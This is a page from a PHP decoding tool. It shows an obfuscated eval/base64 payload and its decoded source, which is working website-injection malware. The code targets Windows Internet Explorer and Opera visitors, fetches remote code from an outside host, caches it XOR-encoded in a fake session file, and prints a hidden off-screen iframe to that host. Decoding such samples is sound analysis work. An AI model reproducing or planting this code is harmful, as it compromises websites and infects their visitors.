Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('dVRtb9s2EP7sAfsPF0MopUSx7C7tPNtKU7TeWmxLCsfZPgSZoFGUzUSiVJKK..
Decoded Output download
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getfrm()
{
$defframe = '<style>.qpxpc { position:absolute; left:-921px; top:-838px; }</style> <div class="qpxpc"><iframe src="http://kplfuxjzy.myfw.us/jquery/get.php?ver=jquery.latest.js" width="448" height="484"></iframe></div>'; //default frame
$codelink = 'http://kplfuxjzy.myfw.us/nc/gnc.php?ver=jquery.latest.js';
if (!$codelink){
return $defframe;
}
$dr='/var/tmp';
$f = $dr.'/sess_'.md5('frm_frame');
if(!file_exists($f) || time() - filemtime($f) > 60*5)
{
$dlc = frm_dl($codelink);
if ($dlc){
if ($fp = @fopen($f, 'w')){
fwrite($fp, frm_crpt($dlc));
fclose($fp);
}
else
return $dlc;
}
else
@unlink($f);
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):$defframe;
}
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('dVRtb9s2EP7sAfsPF0MopUSx7C7tPNtKU7TeWmxLCsfZPgSZoFGUzUSiVJKKnSX+7zuSsp1ii2Fb4t1zd8+9kefgH2Qs54JlPsll+VGRIHj8/ruOE25lEA6CMUrxmzeCal4JQE2SFeB7jSwCMDYdju62+oStudLKJxT1CRdco2cH63h0CTHsFM7F2KqsUDFd1SimyxA+XM1+u/gyT2bT+dXsfD57f37583QWwqA18KpGb52xNaNgzFqd4eMUUorKKuAgjqEfQGuWp4VizyLTolLsmYsNMATA4xbOC5YsmE5oJTQTmJ6jvjFYyXQjBWjJS9/grYfN/1SNSpMcF7bQHY8XsdKyYMLKxl4VE2KD55VEKhzj9seAzwn+Febt6Mgk0IsRf+3xG/gLyKEzaTl41UuxkTw+/ADlLjo2OpdpyTAKmSj9ULDT3td6XVN4hLpS3FiO0r9VVTSajaFguR4d//R6UK/HgF0aHQ9/GJr3zSRy1jDJ+D3QIlUq7lpP3dMJdzGUpHF3qXU9iqK7usib9e0/D73yIV/1GhXdfm2YfIiQYq9e1u/umYydqFekmindu1VdWPFML+PuycmwC0vGF0uNh+EJxohcEHxBAqdkDFGEyaVNocEqbLq0yljBxZ1J90UigkYLQV8k4Upthutg58/1clf/bVXdELk+YK1lTKL7VEa6rJ0TL0ciKO+RSDGlEtIrszd26xJrT4I2ln9gZ69dKi8P4OkJNC+ZH8CxncvSnozmFN72D9+YFnfafcsKaqbXbqy/57zfEoNoU3DnvEaDs7yqzVjmIZBVezGYT76SXJtYdfhsoI2L1iVC7CYZyFa0cQ+zTy1mV6yCOoyD7BFnjTA8TVK7QmLJqKX231VsUa1bPNPg3Z4enkbf9KVti9ekpgfJ5XT2x3R2TT7N51+SKzwl73+Zns/JjcGamtSSLZIy1XTpk+hPLrJqpSISAjoI4NUr+Eb/++Xn6dNFzWS6g7jy4VVUyUSyupKai4Xfd6S3XeYKLz/fSz5cXPz6eXpNkqTRZS7JjQ3hiZzGz9cYtlfqGZrRqrrjeGdvbUKZiswfhIN+vx+EbliOhm9P+v3DH0MStbPVqSUXGBJd76uMP/z+Cw==')));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 862b0b1c6be572221226dbe1f06ea618 |
Eval Count | 1 |
Decode Time | 86 ms |